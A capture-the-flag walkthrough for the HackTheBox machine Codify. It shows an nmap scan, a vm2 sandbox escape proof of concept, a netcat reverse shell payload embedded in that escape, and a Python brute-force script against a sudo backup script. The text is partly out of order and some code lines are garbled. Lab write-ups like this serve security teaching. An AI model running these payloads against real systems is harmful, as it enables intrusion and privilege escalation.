Codify
Codify
Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved
Summary
Walkthrough of the HackTheBox machine Codify (Ubuntu, attack surface: Apache httpd 2.4.52 (80), Node.js Express framework (3000), OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) (22)). Foothold via the vulnerable entry point; privilege escalation via sudo. Both flags captured and redacted.
Recon
Port scan
bash read-only • copy allowednmap -p- -sVC 10.10.11.239 --min-rate 1000
| Port | Service | Version | Notes |
|---|---|---|---|
| 22 | ssh | OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | |
| 80 | http | Apache httpd 2.4.52 | |
| 3000 | http | Node.js Express framework |
Enumeration highlights
- Detected OS: Ubuntu.
- Open services: http (3000), http (80), ssh (22).
- Scan used:
nmap -p- -sVC 10.10.11.239 --min-rate 1000.
Foothold
Vulnerability / Misconfiguration
(No detailed foothold narrative in source writeup.)
Proof
User flag: REDACTED
Privilege Escalation
User -> Root/Admin
from pwn import *
import string import subprocess # to create a new child process.
passw = "" is_found = False
context.log_level = 'INFO'
letter_list = list(string.ascii_letters + string.digits)
print(all)
output:
['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D',
'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S',
'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
while not is_found: for i in letter_list: cmd = f"echo '{passw}{i}*' | sudo /opt/scripts/mysql-backup.sh" result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in result:
passw += i
# log.success(passw)
print(passw)
break
else:
is_found = True
18. Great! Let's switch user to root.
Root flag: `REDACTED`
## Flags
| Flag | Value |
|------|-------|
| user | `REDACTED` |
| root | `REDACTED` |
## Lessons Learned
1. Virtual Machine 2 (VM2) exploitation.
2. Bash script review.
3. Python bruteforce script.
> PORT SCANNNING:
┌──(D3v0o0Nu11㉿htb)-[~] └─$ nmap -p- -sVC 10.10.11.239 --min-rate 1000 Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-18 00:36 PST Warning: 10.10.11.239 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.11.239 Host is up (0.033s latency). Not shown: 53951 closed tcp ports (conn-refused), 11581 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 96071cc6773e07a0cc6f2419744d570b (ECDSA) |_ 256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://codify.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) 3000/tcp open http Node.js Express framework |_http-title: Codify Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 275.72 seconds
4. Based from the nmap results, we can identified that the machine runs a web application, opens ssh login and using node.js framework for the webapp.
5. Reading the **About Us** page, shows us the door to exploit this web app, the `vm2 (virtual machine 2)` vuln.
6. Searching on the internet about vm2 vulns, shall resulting to this:
VM2 --> Is a library that provides a secure and sandboxed environment for executing JavaScript code. Primarily used in server side environments such as Node-JS.
https://www.uptycs.com/blog/exploitable-vm2-vulnerabilities (the newest one --> 2023).
7. Also found a github POC.
https://gist.github.com/leesh3288/REDACTED
```txt
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
-
To test the POC, we can try by sending -->
ls ./ -
Great it executes our bash command, hence let's put our reverse shell payload there.
succeed payload
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 1337 >/tmp/f
txt read-only • copy allowedconst {VM} = require("vm2"); const vm = new VM(); const code = ` err = {}; const handler = { getPrototypeOf(target) { (function stack() { new Error().stack; stack(); })(); } }; const proxiedErr = new Proxy(err, handler); try { throw proxiedErr; } catch ({constructor: c}) { c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 1337 >/tmp/f'); } ` console.log(vm.run(code));
-
Notice that there is a user named joshua and we can't cd there.
-
Now we need to enumerate dirs and files, our objective should be a config file or .db file.
-
Long story short, found tickets.db at -->
/var/www/contacts.
FOUND JOSHUA CRED
- Let's crack the hash using rockyou.